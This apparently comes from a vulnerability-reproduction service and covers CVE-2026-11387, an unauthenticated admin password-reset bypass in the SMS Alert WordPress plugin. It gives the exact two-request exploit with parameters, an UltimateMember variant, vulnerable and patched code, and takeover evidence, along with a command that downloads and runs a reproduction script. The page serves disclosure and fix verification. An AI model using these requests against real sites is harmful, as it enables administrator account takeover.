CVE-2026-11387: Verified Repro With Script Download
CVE-2026-11387: SMS Alert WordPress plugin <= 3.9.5 allows unauthenticated attackers to change a user’s email and reset their password, leading to account takeover and privilege escalation when OTP password reset verification is enabled.
CVE-2026-11387 is verified against sms-alert · WordPress plugin (hosted on WordPress.org SVN, not GitHub). Affected versions: <= 3.9.5. Fixed in 3.9.6. Vulnerability class: Privilege Escalation. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00242.
What Is CVE-2026-11387?
CVE-2026-11387 is a critical improper-authentication vulnerability (CWE-287, CVSS 9.8) in the SMS Alert WordPress plugin that lets an unauthenticated attacker change a user's email and reset their password, leading to full account takeover including administrators. Pruva reproduced it (reproduction REPRO-2026-00242).
CVE-2026-11387 Severity & CVSS Score
CVE-2026-11387 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected sms-alert Versions
sms-alert · WordPress plugin (hosted on WordPress.org SVN, not GitHub) versions <= 3.9.5 are affected.
How to Reproduce CVE-2026-11387
pruva-verify REPRO-2026-00242 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00242/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-11387
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Unauthenticated POST to wp-login.php?action=lostpassword with user_login=<admin_phone>&wc_reset_password=true (sets session), then POST with option=smsalert-change-password-form&smsalert_user_newpwd=<attacker_pwd>&smsalert_user_cnfpwd=<attacker_pwd> (resets password without OTP)
- wp-login.php?action=lostpassword
- lostpassword_post hook
- WPResetPassword::startSmsalertResetPasswordProcess()
- smsalert_site_challenge_otp() sets $_SESSION['user_login']
- POST ?option=smsalert-change-password-form
- WPResetPassword::routeData()
- handleSmsalertChangedPwd()
- reset_password($admin, $attacker_pwd)
UltimateMember integration (class-ultimatemember.php, option=smsalert-um-reset-pwd-action reached via um_reset_password_process_hook) is a materially different unauthenticated entry point that reaches the same handleSmsalertChangedPwd()->reset_password() sink without OTP validation. Runtime-reproduced on vulnerable 3.…
How the agent worked
Root Cause and Exploit Chain for CVE-2026-11387
The SMS Alert – SMS & OTP for WooCommerce WordPress plugin (versions ≤ 3.9.5) contains an unauthenticated privilege escalation vulnerability in its OTP-based password reset handler. The WPResetPassword::routeData() method in handler/forms/class-wpresetpassword.php calls handleSmsalertChangedPwd() whenever the request parameter option equals smsalert-change-password-form, without verifying that the OTP challenge was actually completed/validated. Because smsalert_site_challenge_otp() sets $_SESSION['user_login'] to the target user's login at OTP initiation time (before the OTP is sent), an attacker who triggers the OTP challenge for an administrator's phone number can immediately submit the password-change form and reset that administrator's password — bypassing OTP verification entirely. This leads to full account takeover and privilege escalation.
- Package: SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery (slug:
sms-alert) - Affected versions: ≤ 3.9.5
- Patched version: 3.9.6
- Risk level: Critical (CVSS 9.8)
- Consequences: An unauthenticated remote attacker can reset any WordPress user's password (including administrators) when the SMS Alert plugin has OTP password-reset verification enabled and the target user has a
billing_phoneset. The attacker gains full administrative access to the WordPress site. The same class of vulnerability exists in the UltimateMember integration (class-ultimatemember.php, optionsmsalert-um-reset-pwd-action).
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated privilege escalation via arbitrary password reset — attacker changes admin email/password and takes over the account.
- Reproduced impact from this run: Unauthenticated attacker resets the administrator's password directly (without needing email change) by exploiting the missing OTP validation check. The attacker can then log in as administrator with the new password.
- Parity:
full— the core claimed impact (unauthenticated admin account takeover via arbitrary password reset) was demonstrated end-to-end against a running WordPress + WooCommerce + SMS Alert service. - Not demonstrated: The advisory describes an email-change → standard-password-reset path as one exploitation variant. Our reproduction demonstrates a more direct path: the password itself is reset via
reset_password()without any email change or OTP validation, which is the same root cause (missing identity/OTP-validation check inrouteData()).
Root Cause
Vulnerable code (class-wpresetpassword.php v3.9.5)
public function routeData()
{
if (! empty($_REQUEST['option']) && sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form' ) {
$this->handleSmsalertChangedPwd($_POST);
}
}
routeData() is called on every init hook (via FormInterface::__construct() → add_action('init', ...)) and is therefore reachable by unauthenticated users. When option=smsalert-change-password-form is present, handleSmsalertChangedPwd() is invoked, which reads $_SESSION['user_login'] and calls WordPress's reset_password($user, $new_password) directly.
How $_SESSION['user_login'] gets set
The session variable is set by smsalert_site_challenge_otp() in handler/smsalert_form_handler.php:
function smsalert_site_challenge_otp(...) {
SmsAlertUtility::checkSession();
$_SESSION['user_login'] = $user_login; // <-- set at INITIATION, not validation
$_SESSION['phone_number_mo'] = $phone_number;
_handle_otp_action(...); // <-- sends OTP; may fail
}
This function is called from WPResetPassword::startSmsalertResetPasswordProcess() (hooked to WordPress's lostpassword_post action) when a user submits the lost-password form with a phone number and wc_reset_password=true. The session variables are set before the OTP is sent via the SMS Alert API. Even if the OTP API call fails (invalid credentials, network error), the session already contains the target user's login.
Missing validation check
In the vulnerable version, handle_post_verification() (called after successful OTP validation) does not set $_SESSION[$this->form_session_var] to 'validated'. And routeData() does not check for this value. Therefore, the password reset proceeds regardless of whether the OTP was ever validated.
Fix (v3.9.6, changeset 3587983)
The patch adds two changes to class-wpresetpassword.php:
routeData()now requires OTP validation:
public function routeData()
{
SmsAlertUtility::checkSession();
if (! empty($_REQUEST['option']) && (sanitize_text_field(wp_unslash($_REQUEST['option'])) === 'smsalert-change-password-form') && isset($_SESSION[ $this->form_session_var ]) && strcasecmp($_SESSION[ $this->form_session_var ], 'validated') === 0 ) {
$this->handleSmsalertChangedPwd($_POST);
}
}
handle_post_verification()now marks the session as validated:
$_SESSION[ $this->form_session_var ] = 'validated';
The same fix pattern was applied to class-ultimatemember.php (option smsalert-um-reset-pwd-action, session var form_session_var2).
Fix reference
- WordPress.org changeset: https://plugins.trac.wordpress.org/changeset/3587983/sms-alert
- Wordfence advisory: https://www.wordfence.com/threat-intel/vulnerabilities/id/c31906da-f2fd-40ac-86e0-3f1ed0409d0c
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh - What the script does:
- Installs PHP, MariaDB, and wp-cli
- Downloads and installs WordPress 7.0 + WooCommerce 10.9.3
- Installs SMS Alert plugin 3.9.5 (vulnerable) and configures it: sets non-empty gateway credentials (so
is_user_authorised()returns true), enablesreset_password=on, and sets the admin user'sbilling_phoneto919999990001 - Starts a PHP built-in web server on
localhost:8080 - Phase A (vulnerable): Sends an unauthenticated POST to
wp-login.php?action=lostpasswordwithuser_login=919999990001&wc_reset_password=true— this triggerslostpassword_post→startSmsalertResetPasswordProcess()→smsalert_site_challenge_otp()which sets$_SESSION['user_login']='admin'. The OTP API call fails ("Wrong SMSAlert credentials") but the session is already poisoned. Then sends a second unauthenticated POST withoption=smsalert-change-password-form&smsalert_user_newpwd=Pwned!Pass42&smsalert_user_cnfpwd=Pwned!Pass42— this callshandleSmsalertChangedPwd()which reads the session and callsreset_password($admin, 'Pwned!Pass42'). The server returns HTTP 302 redirect to?password-reset=true. - Verifies via
wp user check-passwordthat the new password works and the original does not - Phase B (patched negative control): Repeats the exact same attack against SMS Alert 3.9.6 — the password change is blocked (HTTP 200, no redirect), and the original password still works
- Expected evidence:
- Vulnerable 3.9.5: HTTP 302 with
Location: ?page_id=8&password-reset=true;wp user check-password admin 'Pwned!Pass42'succeeds; original password fails - Patched 3.9.6: HTTP 200 (no redirect);
wp user check-password admin 'HackedPass99'fails; original password still works
- Vulnerable 3.9.5: HTTP 302 with
Evidence
Log file locations
bundle/logs/reproduction_steps.log— full script outputbundle/logs/exploit_vuln_step1_response.html— OTP challenge response (vulnerable)bundle/logs/exploit_vuln_step2_headers.txt— password change response headers showing 302 redirectbundle/logs/exploit_vuln_cookies.txt— session cookies used in the exploitbundle/logs/exploit_fixed_step2_headers.txt— patched version response (200, no redirect)bundle/repro/runtime_manifest.json— structured runtime evidence
Key excerpts
Vulnerable 3.9.5 — Step 2 response (password reset confirmed):
HTTP/1.1 302 Found
X-Redirect-By: WordPress
Location: http://localhost:8080/?page_id=8&password-reset=true
Vulnerable 3.9.5 — Password verification:
New password 'Pwned!Pass42' → OK (expected: OK)
Old password 'admin_original_123' → FAIL (expected: FAIL)
Patched 3.9.6 — Step 2 response (attack blocked):
HTTP/1.1 200 OK
(no redirect — attack blocked)
Patched 3.9.6 — Password verification:
Hacked password 'HackedPass99' → FAIL (expected: FAIL)
Original password 'admin_original_123' → OK (expected: OK)
Environment
- PHP 8.5.4 (built-in server)
- MariaDB 11.8.6
- WordPress 7.0
- WooCommerce 10.9.3
- SMS Alert 3.9.5 (vulnerable) / 3.9.6 (patched)
Recommendations / Next Steps
- Upgrade immediately to SMS Alert plugin version 3.9.6 or later.
- Audit all
routeData()handlers across the plugin's form classes for similar missing OTP-validation checks. The same pattern was found and fixed inclass-ultimatemember.php. - Defense in depth: Consider adding nonce verification and capability checks to all password-modification endpoints, not just session-state checks.
- Testing: Add integration tests that verify password reset requires a validated OTP session before allowing
handleSmsalertChangedPwd()to execute.
Additional Notes
- Idempotency: The script was run twice consecutively; both runs produced identical results (vulnerable exploit succeeded, patched control blocked). The script is designed to be idempotent — it reuses existing WordPress installs and reconfigures the plugin on each run.
- Preconditions: The vulnerability requires (a) OTP password reset enabled (
smsalert_general[reset_password]=on), (b) the plugin authorized (smsalert_gatewaycredentials non-empty), (c) WooCommerce active, and (d) the target user having abilling_phoneset. These match the advisory's stated preconditions. - No real SMS credentials needed: The exploit works even when the SMS Alert API credentials are invalid, because
smsalert_site_challenge_otp()sets the session variables before the OTP API call, andhandleSmsalertChangedPwd()does not check OTP validation status. - Session cookie handling: The exploit uses PHP's native session mechanism (
PHPSESSIDcookie). Both HTTP requests (OTP challenge + password change) must share the samePHPSESSIDcookie.
Variant Analysis & Alternative Triggers for CVE-2026-11387
This variant run identified and runtime-confirmed a materially different
entry point for the same root cause as CVE-2026-11387: the UltimateMember
integration in the SMS Alert plugin (handler/forms/class-ultimatemember.php,
request option smsalert-um-reset-pwd-action, reached via UltimateMember's
um_reset_password_process_hook action). An unauthenticated attacker can reset an
administrator's password without completing OTP verification by (1) submitting
UltimateMember's password-reset form for the admin to poison
$_SESSION['user_login'] at OTP initiation time, then (2) POSTing
option=smsalert-um-reset-pwd-action to call handleSmsalertChangedPwd() →
reset_password(). The 3.9.5 vulnerable code dispatches with no OTP-validation
check. This is an alternate trigger, NOT a bypass: the 3.9.6 fix adds the same
$_SESSION['SA_UM_RESET_PWD'] === 'validated' gate to the UM handler, and the
attack is blocked on 3.9.6. No bypass of the fix was found.
Fix Coverage / Assumptions
- Invariant the fix relies on: the per-form session variable equals the literal
'validated'only after a real OTP validation (otp_verification_successful→handle_post_verification()), andhandleSmsalertChangedPwd()is gated on it. - Code paths explicitly covered:
WPResetPassword::routeData()(optionsmsalert-change-password-form, session varwp_default_lost_pwd) andUltimateMember::handleForm()(optionsmsalert-um-reset-pwd-action, session varSA_UM_RESET_PWD). Both were patched in 3.9.6 (changeset 3587983). - What the fix does NOT cover: nothing for this vulnerability class. Only two
handlers call
reset_password(); both are gated. There is no separate email-change sink, and the two handlers use distinct session keys so no cross-handler confusion is possible. (Seepatch_analysis.mdfor the full exhaustive handler scan.)
Variant / Alternate Trigger
Entry point (materially different from the repro's wp-login/WooCommerce path):
- Session poisoning — Unauthenticated
POSTto the UltimateMember password-reset core page (e.g./?page_id=<um_pwd_page>) with body_um_password_reset=1&username_b=admin. UltimateMember firesum_reset_password_process_hook→ SMS Alert'sUltimateMember::smsalertUmResetPwdSubmitted()(registered inhandleForm()whenreset_password=on). That callsSmsAlertUtility::initialize_transaction()(sets$_SESSION['SA_UM_RESET_PWD']=true) andstartOtpTransaction()→smsalert_site_challenge_otp(), which sets$_SESSION['user_login']='admin'before the OTP API call. The OTP API call fails ("Wrong SMSAlert credentials") but the session is already poisoned. - Password reset — Unauthenticated
POSTto/with bodyoption=smsalert-um-reset-pwd-action&smsalert_user_newpwd=<pwd>&smsalert_user_cnfpwd=<pwd>. On 3.9.5,UltimateMember::handleForm()matches the option and callshandleSmsalertChangedPwd($_POST), which reads$_SESSION['user_login']and invokes WordPress'sreset_password($admin, $pwd)with no OTP-validation check, then redirects to?sa_um_reset_pwd=1.
Code path: POST ?page_id=<um_pwd> (_um_password_reset=1&username_b=admin)
→ um_reset_password_process_hook → UltimateMember::smsalertUmResetPwdSubmitted()
→ initialize_transaction('SA_UM_RESET_PWD') + startOtpTransaction() →
smsalert_site_challenge_otp() sets $_SESSION['user_login'] →
POST ?option=smsalert-um-reset-pwd-action → UltimateMember::handleForm()
→ handleSmsalertChangedPwd() → reset_password($admin,$pwd).
Files/functions: handler/forms/class-ultimatemember.php
(handleForm() dispatch ~line 88 in 3.9.5; smsalertUmResetPwdSubmitted() ~line 337;
handleSmsalertChangedPwd() ~line 270; handle_post_verification() ~line 486),
handler/smsalert_form_handler.php (smsalert_site_challenge_otp() ~line 88,
_handle_success_validated() → otp_verification_successful).
Preconditions (all match the plugin's own enablement logic):
smsalert_gateway credentials non-empty; smsalert_general[reset_password]=on;
smsalert_general[buyer_signup_otp]=on (required for
UltimateMember::isFormEnabled()); target user has billing_phone; UltimateMember
active with a password-reset core page.
- Package: SMS Alert – SMS & OTP for WooCommerce (slug
sms-alert), UltimateMember integration - Affected versions: ≤ 3.9.5 (alternate trigger); fixed in 3.9.6
- Risk level: Critical (CVSS 9.8) — unauthenticated admin account takeover
- Consequences: Unauthenticated remote attacker resets any user's password (including administrators) when the UM-based OTP reset flow is enabled, gaining full administrative access. Identical impact class to the disclosed CVE.
Impact Parity
- Disclosed/claimed maximum impact: Unauthenticated privilege escalation via arbitrary password reset / account takeover.
- Reproduced impact from this variant run: Unauthenticated attacker reset the
administrator's password directly via the UM entry point without OTP, then
(verified via
wp user check-password) the new password works and the original no longer does — full admin takeover on 3.9.5. - Parity:
full— same impact class and end-state as the parent CVE, via a different entry point. - Not demonstrated: The advisory's email-change variant was not exercised
(no separate email-change sink exists in the code; see
patch_analysis.md).
Root Cause
The same underlying bug as CVE-2026-11387: smsalert_site_challenge_otp() writes
$_SESSION['user_login'] (and the per-form transaction var) at OTP initiation
time, before the OTP is sent/validated, while the password-change dispatch in
UltimateMember::handleForm() consumes that session state to call
reset_password() without requiring proof that the OTP was ever validated.
The 3.9.6 fix adds the $_SESSION['SA_UM_RESET_PWD'] === 'validated' gate (set
only in handle_post_verification() after real OTP success) to the UM dispatch,
closing the alternate trigger.
- Fix commit/changeset: https://plugins.trac.wordpress.org/changeset/3587983/sms-alert
Reproduction Steps
- Script:
bundle/vuln_variant/reproduction_steps.sh - What the script does:
- Assumes the repro environment (MariaDB + PHP + wp-cli + WordPress + plugin
zips at
bundle/artifacts/) is present. - Installs/activates WooCommerce + UltimateMember; creates the UM password-reset core page and disables the UM reset-attempt limit.
- Phase A (vulnerable 3.9.5): configures SMS Alert 3.9.5
(
reset_password=on,buyer_signup_otp=on, adminbilling_phone=919999990001), starts the PHP server, runs the two-step UM attack, verifies via wp-cli that the admin password was changed toUmPwned!Pass42. - Phase B (patched 3.9.6): repeats the identical attack against 3.9.6 and verifies the password was not changed (original still works).
- Writes
runtime_manifest.jsonandvalidation_verdict.json.
- Assumes the repro environment (MariaDB + PHP + wp-cli + WordPress + plugin
zips at
- Expected evidence:
- 3.9.5: Step 2 returns
HTTP/1.1 302withLocation: …?page_id=11&sa_um_reset_pwd=1;wp user check-password admin 'UmPwned!Pass42'→ OK; original → FAIL. - 3.9.6: Step 2 returns
HTTP/1.1 200(no redirect);wp user check-password admin 'UmHacked!Pass99'→ FAIL; original → OK.
- 3.9.5: Step 2 returns
Evidence
bundle/logs/vuln_variant_reproduction.log— full script output (both runs)bundle/logs/vv_vuln_step1_headers.txt— 3.9.5 step 1 response:Set-Cookie: PHPSESSID=…(session poisoned)bundle/logs/vv_vuln_step2_headers.txt— 3.9.5 step 2 response:HTTP/1.1 302 Found/Location: http://localhost:8072/?page_id=11&sa_um_reset_pwd=1bundle/logs/vv_fixed_step2_headers.txt— 3.9.6 step 2 response:HTTP/1.1 200 OK(no redirect → attack blocked)bundle/logs/vv_vuln_cookies.txt,bundle/logs/vv_fixed_cookies.txt— session cookies (PHPSESSID present in both; only 3.9.5 consumes the poisoned session)bundle/vuln_variant/runtime_manifest.json,bundle/vuln_variant/validation_verdict.json
Key excerpts (3.9.5 — variant reproduced):
[*] vuln Step 2: submit smsalert-um-reset-pwd-action (no OTP)...
HTTP HTTP/1.1 302 Found
Location: http://localhost:8072/?page_id=11&sa_um_reset_pwd=1
[*] post-exploit: new 'UmPwned!Pass42' -> OK (expected OK)
[*] post-exploit: old 'admin_original_123' -> FAIL (expected FAIL)
[+] VULNERABLE 3.9.5: UM variant SUCCEEDED
Key excerpts (3.9.6 — attack blocked, NOT a bypass):
[*] fixed Step 2: submit smsalert-um-reset-pwd-action (no OTP)...
HTTP HTTP/1.1 200 OK
[*] post-exploit: new 'UmHacked!Pass99' -> FAIL (expected FAIL)
[*] post-exploit: old 'admin_original_123' -> OK (expected OK)
[+] PATCHED 3.9.6: UM attack BLOCKED (NOT a bypass)
Environment: PHP 8.5.4 (built-in server), MariaDB (alive), WordPress latest,
WooCommerce, UltimateMember 2.12.0, SMS Alert 3.9.5 (vulnerable) / 3.9.6 (patched).
Server bound on 127.0.0.1:8072 (the repro's default 8080 was unavailable in this
run; the WP site URL was reconfigured to 8072).
Recommendations / Next Steps
- No additional fix required for the UM path — 3.9.6 already gates it. Sites must simply upgrade to ≥ 3.9.6.
- Defense in depth (applies to both handlers): add a WordPress nonce check and
a capability/identity re-check to the password-change dispatch, rather than
relying solely on the session
'validated'marker. Also clear$_SESSION['user_login']on OTP failure (currently the initiation-time value persists even when the OTP API errors). - Audit remaining handlers for any future "dispatch → privileged action
without
validatedgate" pattern; the current exhaustive scan found none beyond the two already fixed.
Additional Notes
- Bypass vs alternate trigger: This is an alternate trigger (different entry point, same root cause, same sink). It reproduces only on the vulnerable 3.9.5; the 3.9.6 fix blocks it. It is not a bypass.
- Idempotency: The script was run twice consecutively; both runs produced identical results (3.9.5 variant succeeded, 3.9.6 blocked) and exited 1.
- Note on
buyer_signup_otp: The UM handler'sisFormEnabled()requiresbuyer_signup_otp=on(in addition toreset_password=on). Without it,handleForm()is never called and neither the hook nor the dispatch registers. The variant script sets both. - Negative-result breadth: A full scan of all 53 form handlers confirmed only
class-wpresetpassword.phpandclass-ultimatemember.phpreachreset_password(); no other unauthenticated account-takeover sink exists.
CVE-2026-11387 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Unknown error
Artifacts and Evidence for CVE-2026-11387
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-11387
Upgrade sms-alert · WordPress plugin (hosted on WordPress.org SVN, not GitHub) to 3.9.6 or later.
FAQ: CVE-2026-11387
How does the CVE-2026-11387 account takeover work?
Which SMS Alert plugin versions are affected by CVE-2026-11387, and where is it fixed?
How severe is CVE-2026-11387?
How can I reproduce CVE-2026-11387?
References for CVE-2026-11387
Authoritative sources for CVE-2026-11387 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.